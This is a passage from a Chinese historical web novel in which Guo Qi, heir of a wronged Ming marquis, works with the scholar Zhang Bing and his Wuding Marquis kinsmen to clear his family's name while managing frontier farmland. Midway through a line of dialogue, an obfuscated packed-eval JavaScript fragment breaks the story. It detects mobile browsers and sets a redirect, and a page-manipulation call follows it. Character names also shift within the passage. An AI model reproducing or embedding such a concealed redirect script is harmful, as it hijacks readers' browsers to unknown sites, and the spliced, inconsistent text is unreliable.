聊着聊着,张秉就把话题往社稷大事上引,郭玘居然也对答如流,颇有见地。张秉不禁赞道:“尔非常人!” 听张秉这么一夸,郭玘心头一震,想起怀中的玉佩拓本,心中泛起波澜。张秉曾在京城任职,或许见过祖父郭兴的玉佩。他犹豫片刻,从怀中取出拓本,递给张秉:“张先生,晚辈有一物,想请先生过目。” 张秉接过拓本,展开一看,只见上面是两块玉佩合璧的纹路,“忠勇”二字苍劲有力,背面还有“郭”字暗纹。他的目光突然凝固,手中的茶杯险些滑落。 张秉握着拓本的手指微微颤抖,反复摩挲着上面的纹路,眼神中满是震惊与难以置信。他抬头看向郭玘,声音带着一丝急促:“这……这拓本是哪里来的?你从何处得到这玉佩的纹路?” 郭玘心中一凛,知道张秉定是认出了这玉佩。他沉声道:“张先生,这是晚辈家族的传家宝,晚辈能否请教,先生为何如此震惊?” 张秉深吸一口气,压下心中的波澜,语气郑重:“郭百户,你可知这玉佩的主人是谁?” “晚辈不知,只知是先祖传下的遗物。”郭玘故意隐瞒了真实身份,想看看张秉的反应。 “这是洪武朝开国功臣、巩昌侯郭兴将军的佩玉!”张秉一字一句道,眼中满是肯定,“当年我在京城翰林院任职时,曾有幸见过郭兴将军的长子郭景振佩戴此玉。那玉佩分为两半,左半刻‘忠’字,右半刻‘勇’字,背面皆有‘郭’字暗纹,合在一起便是‘忠勇’二字,与你这拓本上的纹路一模一样!” 郭玘心中一阵激动,没想到张秉竟然真的见过祖父的玉佩!他强压下心中的情绪,故作惊讶:“张先生,您确定?这玉佩真的是巩昌侯郭兴将军的遗物?” “绝不会错!”张秉道,“郭兴将军是洪武朝的开国功臣,为大明立下赫赫战功,封巩昌侯。我当年在京城,曾与郭景振将军有过一面之缘,亲眼见过他佩戴这半块‘忠’字玉佩。后来胡惟庸案爆发,巩昌侯府蒙冤,郭景振将军被流放,这玉佩便不知所踪,没想到竟然会在你手中!” 他顿了顿,目光锐利地看着郭玘:“郭百户,你到底是什么人?为何会拥有巩昌侯府的传家宝?” 郭玘知道,再也瞒不下去了。他站起身,对着张秉深深一揖:“张先生,晚辈实不相瞒,先祖正是巩昌侯郭兴,家父郭斌,原名郭景扬,是郭兴将军的次子。胡惟庸案后,家族蒙冤,家父被迫隐姓埋名,逃亡海州,入了东海卫军籍,才得以保全性命。” 张秉浑身一震,看着郭玘的眼神满是震惊:“你……你是郭兴将军的孙子?” “正是。”郭玘点头,眼中闪过一丝悲愤,“先祖忠勇一生,为大明出生入死,却遭人诬陷,蒙冤而死。家父一生隐忍,最大的心愿便是为家族洗刷冤屈,可惜未能如愿,便积劳成疾,与世长辞。如今,这个重任落在了晚辈肩上。” 他将父亲的临终遗言、这些年的隐忍与努力,一一告诉了张秉。张秉静静地听着,眼中的震惊渐渐化为同情与愤怒。 “没想到,巩昌侯府竟然还有后人存活!”张秉叹了口气,“郭兴将军是忠臣良将,胡惟庸案中,巩昌侯府确实是被冤枉的。当年我在京城,便听闻不少官员为郭将军鸣不平,只是洪武爷晚年多疑,无人敢公开为巩昌侯府求情。” 他顿了顿,看着郭玘,语气郑重:“郭百户,你放心,巩昌侯府的冤屈,不能就这样被埋没。我张秉虽然被贬海州,但尚有几分薄面,也认识一些当年为郭将军鸣不平的老臣。我愿助你整理冤情,收集证据,总有一天,要让朝廷为巩昌侯府平反昭雪!” 郭玘心中一阵激动,泪水险些夺眶而出。他对着张秉深深一揖:“多谢张先生!若能为家族洗刷冤屈,晚辈此生不忘大恩!” “不必言谢。”张秉摆摆手,“我并非为了你,而是为了郭兴将军这样的忠臣良将,为了大明的公道。只是,平反之事,任重道远,不可急于求成。永乐帝生性多疑,对洪武朝的旧案十分敏感,我们必须小心谨慎,步步为营。” “晚辈明白。”郭玘点点头,“这些年,晚辈一直在隐忍蛰伏,积累实力。如今有张先生相助,晚辈更有信心了。” 张秉看着拓本上的“忠勇”二字,沉声道:“这玉佩拓本,是证明你身份的重要凭证,你务必妥善保管。另外,我需要你详细讲述巩昌侯府蒙冤的经过,以及你父亲这些年的经历,我好整理成卷宗,寻找合适的时机递交给朝廷。” “好。”郭玘道,“晚辈这就详细告知张先生。” 接下来的几日,郭玘每日都会前往儒学,向张秉详细讲述巩昌侯府的历史、胡惟庸案中蒙冤的经过、父亲郭斌的逃亡与隐忍,以及自己这些年的经历。张秉听得十分认真,一一记录下来,整理成卷宗。 与此同时,蒙学也顺利开学了。郭玘在卫城贫民区找了一间废弃的民房,修缮一新后作为教室,张秉亲自担任教谕,教授孩子们识字、读书、明理。郭玘还从族中和军卒中挑选了几名识字的年轻人,作为张秉的助手,负责教导孩子们习武、劳作。 蒙学的开办,赢得了海州城百姓的一致好评。贫民区的孩子们终于有了求学的机会,他们十分珍惜,每日早早地来到教室,认真听讲,刻苦学习。郭玘时常前往蒙学看望孩子们,看到他们求知若渴的眼神,心中满是欣慰。 这一日,郭玘正在蒙学查看,张秉悄悄拉他到一旁,递给他一份卷宗:“这是我整理好的巩昌侯府蒙冤卷宗,里面详细记录了事件的经过,还有一些当年为郭将军鸣不平的官员的证词。只是,这份卷宗暂时无法递交给朝廷。” “为何?”郭玘疑惑地问道。 “永乐帝近期正准备再次北征蒙古,朝中之事以军事为重,此时递上平反卷宗,只会触怒龙颜,不仅无法为巩昌侯府平反,反而会打草惊蛇,让你陷入危险。”张秉沉声道,“我们必须等待合适的时机,等永乐帝北征归来,心情愉悦,或是朝中局势缓和时,再将卷宗递上去。” 郭玘点点头,明白了张秉的用意:“多谢张先生考虑周全。晚辈听您的安排。” “另 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永乐十八年秋,永乐帝北征蒙古归来,大获全胜,朝中一片欢腾。张秉得知消息后,对郭玘道:“时机来了!永乐帝北征获胜,心情愉悦,此时递上平反卷宗,或许能打动龙颜。” 郭玘心中一喜:“张先生,那我们现在就将卷宗递上去?” “不急。”张秉摇摇头,“我们不能直接递交给永乐帝,那样太过冒险。我已写信给京城的老友,让他将卷宗转交给武定侯府的郭铭大人,由郭铭大人在合适的时机,递交给永乐帝。这样既稳妥,也能借助武定侯府的势力。” “好!”郭玘道。 张秉立刻将卷宗密封好,交给郭玘,让他通过暗线转交郭铭叔。郭玘不敢耽搁,立刻派人将卷宗送往京城。 等待的日子是漫长而煎熬的。郭玘每日都在忐忑中度过,既期盼着家族平反的消息,又担心事情败露,引来杀身之祸。张秉也时常安慰他,让他耐心等待。 一个月后,郭玘收到了郭铭叔通过暗线传来的密信。信中写道:“卷宗已收到,已呈交陛下。陛下看后,并未发怒,只是说此事需详查。武定侯府会继续跟进,你需安心在海州任职,切勿轻举妄动,等待朝廷的旨意。” 郭玘看着密信,心中一阵激动。永乐帝没有发怒,还同意详查,这已是意想不到的进展!他将密信交给张秉,张秉也十分欣慰:“太好了!只要陛下同意详查,巩昌侯府的平反就有希望了!郭百户,你一定要沉住气,继续在海州积累功绩,为家族平反增添筹码。” “晚辈明白。”郭玘点点头。 接下来的日子,郭玘更加努力地工作。他率领军卒加固卫城的防御,整顿屯田秩序,打击海盗与土匪,海州城的治安与民生日益改善。同时,他还扩大了蒙学的规模,招收了更多的贫民子弟,张秉也尽心尽力地教导孩子们,蒙学的声誉越来越高。 永乐十九年春,海州遭遇了一场春旱,屯田区的庄稼面临缺水的危机。郭玘临危不乱,立刻组织军卒与百姓开挖水渠,引海水淡化后灌溉农田,同时推广耐旱作物,最大限度地减少了旱灾带来的损失。 此事传到京城,永乐帝召见郭镇、郭铭,对郭玘大加赞赏。消息从武定侯府传来,海州城的族人纷纷为郭玘庆贺,张秉也为他感到高兴:“郭百户,恭喜你!你的功绩越大,家族平反的希望就越大。” “这都离不开张先生的相助。”郭玘谦逊道。 就在郭玘以为家族平反指日可待时,京城突然传来消息——永乐帝迁都北京,朝中局势变动,巩昌侯府的平反之事被暂时搁置。郭玘与张秉心中都十分失望,但他们并未放弃。 “郭百户,不必灰心。”张秉道,“迁都之事繁琐,朝中局势动荡,平反之事暂时搁置是意料之中的。我们只要继续坚持,积累功绩,等待局势稳定,总有一天,朝廷会为巩昌侯府平反昭雪。” “晚辈明白。”郭玘道,眼中闪过一丝坚定,“无论需要多久,晚辈都会坚持下去。先祖的冤屈,不能就这样被埋没。” 他取出怀中的玉佩拓本,与胸前的“忠”“勇”二字玉佩放在一起,心中默念:“爹,祖父,你们放心,我一定会坚持下去,为家族洗刷冤屈,让郭家的‘忠勇’精神重现荣光。” 张秉看着郭玘坚定的眼神,心中满是敬佩。他知道,眼前这个年轻的副千户,不仅继承了郭兴将军的忠勇,更有着超越年龄的沉稳与坚韧。只要他坚持不懈,巩昌侯府的冤屈,终将得以洗刷。 这一日,郭玘与张秉一同来到蒙学,看着孩子们认真读书的模样,心中满是欣慰。张秉道:“郭百户,你看这些孩子,他们都是未来的希望。我们兴办蒙学,不仅是为了教化百姓,更是为了为大明培养人才。将来,这些孩子中,或许会有人成为栋梁之材,为国家效力。” 郭玘点点头:“张先生说得对。无论是为家族平反,还是为百姓谋福,我们都在做正确的事情。只要我们坚持下去,就一定能实现自己的目标。” 夕阳西下,金色的余晖洒在蒙学的窗户上,映照出孩子们认真读书的身影。郭玘与张秉站在窗前,心中充满了希望。他们知道,未来的路还很长,充满了未知与挑战,但他们不再畏惧。因为他们心中有信念,有目标,有彼此的支持,更有无数百姓的期盼。 巩昌侯府的平反之路,或许还会经历更多的波折,但郭玘与张秉都坚信,只要坚守“忠勇”家训,坚持正义,就一定能等到云开雾散的那一天。而这蒙学中的孩子们,这海州城的百姓,这一切的努力与坚持,都将成为他们前进道路上最坚实的力量。 永乐十九年夏,郭玘接到了郭铭叔的密信,告知他迁都之事已基本稳定,武定侯府正在再次为巩昌侯府陈情,让他做好准备,或许不久后,朝廷便会派人前往海州调查。郭玘看着密信,心中一阵激动。他知道,家族洗刷冤屈的日子,越来越近了。 他将密信交给张秉,张秉也十分兴奋:“郭百户,终于等到这一天了!我们立刻整理好所有的证据,等待朝廷的调查官员到来。” “好!”郭玘点点头。 两人立刻行动起来,整理证据,联络祖父的旧部,为朝廷的调查做准备。海州城的族人也积极行动起来,收集证据,为巩昌侯府的平反昭雪作好充分准备。 郭玘站在海州城的城墙上,望着远方的京城方向,眼中闪烁着坚定的光芒。他知道,一场关乎家族命运的考验,即将到来。但他已经做好了准备,无论结果如何,他都会坚持下去,为家族的冤屈而战,为“忠勇”家训而战。 20. 第三卷 拓片传灯 第20章 郭英之孙 永乐二十年秋,海州的海风裹挟着丰收的气息,吹过卫城的青石板路。郭玘身着百户的青色官服,正站在屯田区的田埂上,看着金黄的稻浪翻滚,脸上露出欣慰的笑容。自三年前从东海岛烽燧调回卫城,他担任百户之职已有两载,负责卫城外围的屯田与治安。这两年间,他推广耐旱耐碱作物,整顿军户耕作秩序,打击骚扰屯田的匪患,让东海卫的军粮储备较往年翻了近一倍,不仅赢得了卫左千户李大人的器重,更成了屯田区军户百姓口中的“好百户”。 “百户,卫城传来消息,京城派了官员前来采办军需,左千户大人让您即刻返回卫城接旨。”赵虎快马赶来,翻身下马禀报道。他如今是郭玘麾下的总旗,依旧是最信任的左膀右臂,跟着郭玘从东海岛到卫城,见证了他一步步站稳脚跟。 郭玘心中一动。京城派官采办军需本是常事,但联想到近日张秉传递的消息——武定侯府正在朝中为巩昌侯府平反之事暗中奔走,他隐隐觉得,此次前来的官员或许并非普通采办官。毕竟他身份特殊,隐姓埋名多年,武定侯府若要联络,借采办之名最为稳妥。 “知道了。”郭玘点点头,转身对身旁的屯田管事交代了几句,无非是叮嘱后续秋收的晾晒与入库事宜,随后便与赵虎一同策马返回卫城。 东海卫所内,李大人正陪着一名身着从五品官服的年轻官员说话。那官员约莫二十岁年纪,身形挺拔,面容俊朗,眉宇间带着几分与郭铭相似的刚毅,却又多了几分少年人的英气,一看便知是勋贵世家子弟。 见到郭玘进来,李大人连忙起身笑道:“郭百户,快来见过京城来的郭主事!” 年轻官员也站起身,目光落在郭玘身上,眼中闪过一丝不易察觉的审视。郭玘躬身行礼:“东海卫百户郭玘,见过郭主事。” “郭百户不必多礼。”年轻官员语气平和,却自带一种与生俱来的威仪,“此次奉命前来海州采办军需,劳烦郭百户多费心。” 李大人在一旁笑道:“郭主事客气了!郭百户是我卫所的得力干将,采办之事交给他,定能办得妥妥帖帖!” 三人寒暄片刻,李大人便以处理公务为由先行离去,厅内只剩下郭玘与这位郭主事。气氛一时有些微妙,郭玘敏锐地察觉到,对方看他的眼神绝非普通的上下级审视,反而带着一种探寻与亲近,仿佛早就认识他一般。 “郭百户,听闻你在海州颇有政绩,不仅让屯田收成翻倍,还在贫民区兴办蒙学,造福百姓,实在难得。”郭主事率先开口,语气中带着几分赞赏。 “主事过奖了,这都是属下分内之事。”郭玘谦逊道,目光始终留意着对方的神色,心中愈发确定此人来意不简单。 郭主事笑了笑,话锋一转:“我此次前来,除了采办军需,还有一件私事想请教郭百户。”他顿了顿,刻意压低声音,“听闻郭百户家中有一块祖传的玉佩,刻有‘忠’字,不知可否一见?” 郭玘心中猛地一震。“忠”字玉佩是郭家的传家宝,除了张秉与族中几位长辈,极少有人知晓。眼前这位郭主事突然提及此事,绝非偶然。他不动声色地反问:“主事何以知晓此事?” “实不相瞒,我姓郭,名瑄,乃武定侯郭英之孙,郭铭之子。”郭玹直视着郭玘的眼睛,语气郑重,“此次前来海州,表面是采办军需,实则是受家父所托,专程来见你。” 郭玘浑身一震,难以置信地看着眼前的年轻人。郭铭之子!他竟然是郭铭叔的儿子,与自己同辈的郭家后人!多年的隐忍与等待,此刻仿佛有了具象的落点,他的眼眶微微发热,却强压下心中的波澜,沉声道:“郭主事所言当真?” 郭玹从怀中取出一个锦盒,递到郭玘面前:“郭百户一看便知。” 郭玘颤抖着双手打开锦盒,里面并非玉佩,而是一张拓本。拓本上的纹路清晰熟悉,正是“勇”字玉佩的完整拓印,背面的“郭”字古体字暗纹与自己手中的“忠”字玉佩拓本完全契合。更让他动容的是,拓本下方有一行小字,是郭铭熟悉的笔迹:“此乃巩昌侯府传家‘勇’字玉佩拓本,今命吾儿瑄送达,接续照拂族侄玘,共护郭家忠勇传承。” “这……这是……”郭玘的声音带着哽咽。父亲临终前将“勇”字玉佩托付给他,与自己的“忠”字玉佩合为完整的传家宝,如今郭铭叔派其子送来“勇”字玉佩拓本,无疑是向他表明,武定侯府从未忘记巩昌侯府的冤屈,从未放弃对他们的照拂。 “家父年近半百,近年来在朝中为巩昌侯府平反之事奔走,心力交瘁,已不便亲自前来。”郭玹的语气带着一丝沉重,“他嘱咐我,从今往后,由我接替他,暗中照拂你与族人,助力家族平反。” 郭玘深吸一口气,压下心中的激动,对着郭玹深深一揖:“多谢郭主事,多谢郭铭叔!郭家上下,没齿难忘这份恩情!” “自家族人,不必言谢。”郭玹扶起他,眼中满是真挚,“巩昌侯府与武定侯府本是一脉相承,先祖郭山甫创下的家业,岂能因一场冤案便断绝传承?我父常说,当年胡惟庸案,巩昌侯府蒙冤,武定侯府虽侥幸保全,却也如履薄冰。这些年,我们一直在暗中收集证据,等待为家族平反的时机。” 他顿了顿,继续道:“此次前来,家父还有一事托付。他说,你手中的‘忠’字玉佩本是我府从锦衣卫处获取,是证明巩昌侯府身份的重要凭证。如今郭景振一支已不在,你身处海州,只是一介百户,身份敏感,随身携带双璧太过危险。父亲让我将这半块玉佩带回京城保管,待日后有机会奏明圣上,平反之事有了眉目再宣你入京。二璧合一,为先祖鸣冤。” 郭玘心中一凛。他明白郭铭叔的良苦用心。“忠”“勇”二字玉佩是家族身份的核心凭证,自己如今虽只是个小小的百户,不显山露水,但永乐帝对洪武旧勋的猜忌仍在,若玉佩落入他人之手,不仅自己性命难保,还会连累武定侯府。将“忠”字玉佩再次交由郭玹带回京城,无疑是最稳妥的选择,也增加了合璧鸣冤的份量。 “郭主事,多谢家父与你的周全。”郭玘沉声道,“只是这‘忠’字玉佩是先祖遗物,也是郭铭叔与父亲托付给我的,我需与族人商讨后再予托付。” 郭玹点点头,说道:“郭百户不必着急。我此次采办军需需在海州停留十日,你可慢慢处置。十日之后,我会在海外东海岛烽燧与你再见,届时你再我再续。” “好。”郭玘点头应允。 送走郭玹后,郭玘立刻前往儒学寻找张秉。张秉听闻郭玹到来的消息,也十分激动:“郭百户,这是天大的好消息!武定侯府派嫡孙前来,足见他们对平反之事的重视。将‘忠’字玉佩交由郭玹带回京城,确实是稳妥之举,也得见两族联手、本是同根的良苦用心。” “我也是这么想的。”郭玘道,“只是这玉佩是家族的传家宝,得以合璧,我心中着实有些不舍。” “不舍可以理解,但为大局计,不得不如此。”张秉沉声道,“如今朝中局势微妙,永乐帝虽对平反之事有所松动,但锦衣卫的眼线遍布各地。你只是个百户,人微言轻,随身携带如此重要的凭证,一旦暴露,不仅你自身难保,我们多年的努力也将付诸东流。如将玉佩分开保存,半璧交由郭玹带回京城,由武定侯府保管,既安全,也足见家族同根的责任与担当,便于向朝廷陈述。” 郭玘沉默片刻,眼中露出坚定的神色:“张先生说得对。为了家族平反,将‘忠’字玉佩交由郭玹带回京城是最佳的选择了。” 接下来的几日,郭玘一边协助郭玹采办军需,一边暗中安排族中事务。他将郭福伯召来,告知其郭玹到来的消息与自己的决定,叮嘱他务必带领族人低调行事,坚守“忠勇”家训,切不可因一时意气暴露身份,等待平反之日。 这几日,郭玘与郭玹也时常借着商议采办事务的名义见面,谈论家族往事与朝中局势。郭玹告知郭玘,武定侯府已联合多名洪武旧臣,收集了巩昌侯府蒙冤的诸多证据,只是永乐帝近期忙于筹备第五次北征蒙古,平反之事暂时被搁置。待北征结束,朝廷局势稳定,便会正式递上平反奏折。 郭玘也将自己这些年在海州的经历、结识张秉的过程以及祖父旧部的联络情况一一告知郭玹。两人虽是初次相见,却因血脉相连,又有着共同的家族使命,很快便生出深厚的情谊。 永乐二十年秋末,东海卫的郊外已染上几分萧瑟。郭玘身着便服,独自一人来到东海岛烽燧。夕阳西下,余晖将烽燧的影子拉得很长,墙壁上他当年刻下的“忠勇”纹路与“此处有郭氏子”的字迹,在岁月的冲刷下依旧清晰可辨。 他抚摸着粗糙的夯土墙壁,心中百感交集。三年前,他被王彪刁难,驻守这座偏远的烽燧,如今故地重游,却是要将家族的传家宝托付给同族兄弟,等待着家族平反的曙光。 “郭百户,久候了。”郭玹的声音从身后传来。他也换了一身便服,步履轻快地走来。 郭玘转过身,从怀中取出一个小巧的木盒,递给郭玹:“郭主事,这便是‘忠’字玉佩,烦请你带回京城,交给郭铭叔妥善保管。” 郭玹郑重地接过木盒,打开一看,只见半块玉佩静静躺在其中,质地温润,“忠”字纹路苍劲有力,背面的“郭”字古体字暗纹清晰可见。他心中一震,这便是巩昌侯府的传家宝,是郭家忠勇传承的象征。 “郭百户放心,我定会将玉佩完好无损地交给家父。”郭玹将木盒贴身藏好,语气坚定,“他日平反事成,我必将会让双璧合一,“忠”‘勇’双全,告慰先祖在天之灵。” 郭玘点点头,眼中闪过一丝不舍,却更多的是坚定:“家父临终前曾说,‘忠’是立身之本,‘勇’是成事之基,只有‘忠勇’兼备,才能为家族洗刷冤屈。如今,‘忠’字玉佩随你回京,‘勇’字玉佩由我保管,我们兄弟二人,便如这两块玉佩一般,虽相隔千里,却同心同德,共赴家族使命。” “说得好!”郭玹眼中闪过一丝激昂,“我与你虽素未谋面,却血脉相连,肩负着共同的责任。他日重逢,定是家族冤屈得雪之时!” 两人并肩站在烽燧顶端,望着远方的海平面。夕阳将海面染成一片金黄,海鸥在天际盘旋,仿佛在为这对同族兄弟送别。 “郭主事,此次北征蒙古,陛下胜算如何?”郭玘突然问道。他深知,永乐帝的北征成败,将直接影响朝中局势,进而关系到家族平反之事。身为一介百户,他无法干预朝政,只能默默关注局势变化。 郭玹沉吟片刻,道:“家父在朝中听闻,陛下此次北征调集了五十万大军,准备一举击溃鞑靼部,彻底解决北方边患。只是鞑靼部可汗阿鲁台狡猾多端,且熟悉草原地形,胜负难料。” 他顿了顿,继续道:“家父担心,若北征顺利,陛下意气风发,或许会对平反之事网开一面;若北征受挫,陛下心情郁结,朝中局势恐会更加复杂,平反之事也将更加艰难。毕竟你如今只是东海卫的一名百户,无职无权,家族平反全需仰仗朝廷恩典。” 郭玘心中一沉。他明白郭铭叔的担忧并非多余。永乐帝生性好强,若北征失利,定会迁怒于人,洪武旧勋自然是重点猜忌对象。而他一个小小的百户,在皇权面前如同蝼蚁,一旦风向不对,随时可能面临灭顶之灾。 “无论北征结果如何,我们都需做好万全准备。”郭玘沉声道,“我在海州会继续积累功绩,联络祖父旧部,收集更多证据;张先生也会持续完善平反卷宗。你们在京城,还需谨慎行事,切勿急于求成。我身为军户百户,只要安分守己,做好本职,想来也不会引起过多猜忌。” “我明白。”郭玹点点头,“家父也是此意。此次北征期间,武定侯府会暂时搁置平反之事,以免触怒龙颜。待北征结束,再根据局势调整策略。你在海州务必低调,切勿因功绩显露而遭人嫉妒,徒增风险。” 两人又聊了许久,从家族往事聊到朝中重臣,从海州的民生聊到北方的边患,越聊越投机。直到夜色渐浓,郭玹才起身告辞:“郭百户,采办之事已基本完成,我明日便要启程回京。你在海州务必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914090|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保重,凡事谨慎,若有紧急情况,可通过家父留下的暗线与我们联络。切记,不可轻易暴露身份,你的百户之职,是如今最好的保护色。” “好。”郭玘点点头,从怀中取出张秉整理的平反卷宗副本,“这是张先生整理的部分证据,烦请你一并带回京城,交给郭铭叔。我人微言轻,能做的唯有这些,后续便全靠武定侯府了。” 郭玹接过卷宗,贴身藏好:“放心吧,我定会亲手交给家父。你在海州的努力,家父与我都看在眼里,这便是家族平反最坚实的基础。” 两人在烽燧下告别,郭玹登上官船,朝着海州城方向杨帆而去。郭玘站在原地,望着他的背影消失在夜色中,心中充满了期盼与忐忑。他知道,将“忠”字玉佩交出,是目前最稳妥的选择,但也意味着他与家族传承的直接联系变得稀薄,未来的路,只能靠自己更加谨慎地走下去。 回到卫城后,郭玘立刻召集赵虎等心腹,叮嘱他们加强戒备,密切关注卫所内外的动静。他知道,郭玹的到来虽带来了希望,但也可能引起锦衣卫的注意。他只是个小小的百户,无权无势,一旦被盯上,后果不堪设想。 次日,郭玹率领采办队伍启程回京。东海卫左千户李大人与郭玘等人亲自送行至城外。郭玹与郭玘目光交汇,无需多言,彼此都明白其中的深意。 郭玹离去后,郭玘的生活又恢复了往日的平静。他依旧每日处理卫所公务,巡查屯田与治安,打理蒙学事务,只是心中多了一份牵挂与期盼。他时常来到东海岛烽燧,抚摸着墙壁上的刻痕,思念着父亲与郭铭叔,期盼着家族平反的那一天。他深知,自己如今的百户身份既是限制,也是保护,唯有在这个位置上默默积累,等待时机,才能在未来的某一天,有资格站在朝堂之上,为家族鸣冤。 永乐二十一年春,京城传来消息——永乐帝第五次北征蒙古,因鞑靼部提前逃窜,明军无功而返。消息传来,郭玘与张秉心中都十分担忧。 “郭百户,北征失利,陛下必定心情不佳,朝中局势恐会更加严峻。”张秉沉声道,“武定侯府在这个时候,怕是难以再提及平反之事了。你身为军户百户,更要夹紧尾巴做人,切勿出任何差错。” “我明白。”郭玘点点头,心中虽失望,却并未气馁,“我们不能指望朝廷主动平反,只能靠自己。我会继续做好屯田与治安之事,积累功绩的同时,也为自己积攒民心。日后若有机会告御状,百姓的支持便是最好的助力。” 接下来的日子,郭玘更加努力地工作。他率领军卒加固海防,多次击退小规模的倭寇侵扰;推广新的耕作技术,让屯田收成再创新高;扩大蒙学规模,招收了更多的贫民子弟,甚至还邀请张秉编写了一套适合军户与百姓子弟的启蒙教材。他的功绩越来越显著,在海州城的声望也越来越高,但他始终保持着谦逊低调,从不居功自傲,以免引起卫所上官与同僚的嫉妒。 永乐二十一年冬,郭玘收到了郭铭通过暗线传来的密信。信中写道:“北征失利,陛下猜忌之心更重,平反之事暂缓。瑄儿已将‘忠’字玉佩与卷宗妥善保管。你在海州身为百户,处境相对安全,切勿轻举妄动。先祖旧部中,有几位已在军中身居要职,待时机成熟,会暗中相助。切记,保全自身与族人,等待脱军籍、告御状的时机。” 郭玘看着密信,心中稍稍安定。郭铭叔的提醒让他更加清醒,他如今的首要任务是保全自己,积累足够的资本,待日后有机会脱离军籍,才能毫无顾忌地为家族鸣冤。他将密信烧毁,取出怀中的“勇”字玉佩,轻轻摩挲着。玉佩温润的触感仿佛给了他无穷的力量。他想起了父亲的临终遗言,想起了郭铭叔的嘱托,想起了郭玹的承诺,心中的信念愈发坚定。 这一日,郭玘正在蒙学查看孩子们读书,张秉悄悄拉他到一旁,递给他一份书信:“这是京城的老友传来的消息,说永乐帝近日身体不适,已下令暂停第六次北征的筹备。朝中不少官员都在私下议论,担心陛下的身体状况。” 郭玘心中一动。永乐帝已是六十五岁高龄,多次北征耗费了大量的心力,身体出现状况并不意外。若陛下身体不佳,朝中局势或许会发生新的变化,这对家族平反之事而言,或许是一个新的契机。 “张先生,我们该怎么做?”郭玘问道。 “继续等待,暗中准备。”张秉沉声道,“太子朱高炽性情仁厚,与陛下的多疑好杀不同。若太子登基,或许会对洪武朝的冤案重新审视,这对我们而言,是最好的机会。你需继续在海州积累功绩与民心,同时暗中准备脱军籍的相关手续,待时机成熟,便可赴京告御状。” “好。”郭玘点点头。他知道,脱军籍并非易事,需有足够的功绩与理由,还需避开卫所的阻挠。但他已有了方向,只要坚持下去,总有一天能实现目标。 接下来的几个月,郭玘一边关注京城的局势,一边在海州默默积累实力。他训练军卒,整顿海防,兴办教育,海州的民生与军事力量都得到了极大的提升。族人们也在他的带领下,日子越过越好,对他更加信服。他知道,这些都是他未来脱军籍、告御状的资本。 永乐二十二年春,京城传来消息——永乐帝的身体状况愈发糟糕,已移居榆木川行宫休养,朝政暂由太子朱高炽代理。 张秉得知消息后,对郭玘道:“郭百户,时机或许真的要来了!太子仁厚,若登基后推行宽政,便是我们脱军籍、告御状的最佳时机。我们需立刻完善所有证据,包括你的功绩记录、百姓联名请愿书、祖父旧部证词,一旦时机成熟,便赴京申诉!” 郭玘眼中闪过一丝激动:“张先生说得对!我们即刻着手准备,定不能错过这个机会!” 他站在蒙学的窗前,看着孩子们认真读书的模样,心中充满了希望。他手中的“勇”字玉佩仿佛在发烫,提醒着他肩负的使命。他知道,多年的隐忍与等待,即将迎来最后的考验。他虽是一介百户,却承载着家族的希望,只要坚持下去,定能等到“忠勇”合璧、冤屈得雪的那一天。 21. 第三卷 拓片传灯 第21章 屯田求生 永乐二十一年夏,海州的海风带着咸涩的湿气,漫过东海卫卫城外围的屯田区。郭玘身着百户常服,蹲在田埂上,手指捻起一把泛着白霜的泥土,眉头紧锁。自接任卫城外围屯田事务以来,他便深知这里的困境——海州近海,地势低洼,每逢汛期或风暴,海水极易倒灌,原本的耕地渐渐沦为盐碱地,泛着一层白色的盐渍,庄稼难以存活。族人与周边军户的耕地,大多集中在这片区域,每年收成寥寥,勉强糊口。 “百户,这盐碱地真是害人!种下去的粟米,刚冒芽就枯了,再这样下去,今年怕是要颗粒无收了。”身旁的族叔郭老实叹了口气,脸上满是愁苦。他耕种这片田地已有十余年,眼睁睁看着肥沃的土地一点点被盐碱侵蚀,却毫无办法。 郭玘站起身,目光扫过眼前一片枯黄的禾苗,心中自有计较。父亲郭斌在世时,曾靠郭铭叔送来的耐碱谷种让族人免于饥馑,但那只是权宜之计,并未从根本上改良土壤。多年前,郭铭叔在密信中附带过改良盐碱地的土法——“开沟排盐、引淡洗盐、秸秆还田、种植绿肥”,父亲当年因忙于在东海卫站稳脚跟,未能大规模推广。如今父亲已逝,他身为家族掌舵人与屯田主管百户,既要守住父亲留下的基业,更要让族人与军户过上安稳日子,改良盐碱地已是刻不容缓。 “郭叔,不必灰心。”郭玘沉声道,“父亲当年留下过改良盐碱地的法子,只是没能大面积推行。如今我们齐心协力,先选几块地试点,若有成效再逐步推广,定能让这片荒地多收些粮食。” 郭老实眼中闪过一丝惊讶:“百户,你真有把握?这盐碱地可是顽疾,多少人试过都没用!” “放心吧,父亲当年在东海岛试过小范围改良,确有成效。”郭玘以父亲为托词,避开了郭铭叔的牵涉,避免引起不必要的猜忌。他随即召集族人与周边军户,在田埂上集合,详细讲解改良之法:“第一,开沟排盐。在田地四周开挖深沟,汛期时将含盐的积水引入沟中排出;第二,引淡洗盐。利用山涧的淡水,定期灌溉田地,冲刷土壤中的盐分;第三,秸秆还田。将收割后的庄稼秸秆粉碎,埋入土壤,增加肥力;第四,种植绿肥。在闲置土地上种植苜蓿、紫云英,待其成熟后翻入土壤,改良土质。” 军户们闻言,半信半疑。有人问道:“郭百户,这法子真能行?我们可没时间瞎折腾!” “诸位兄弟,”郭玘语气诚恳,“我知道大家担心白费力气,但如今这盐碱地再不改良,我们迟早要饿肚子。我郭家愿带头试点,所需人力物力全由我家承担,若成功了,大家再跟着做;若失败了,损失也与大家无关!” 族人们率先响应:“我们信郭百户!愿意跟着你干!”周边军户见郭玘愿担风险,又念及他平日体恤下属、兴办蒙学的恩德,也纷纷点头应允。 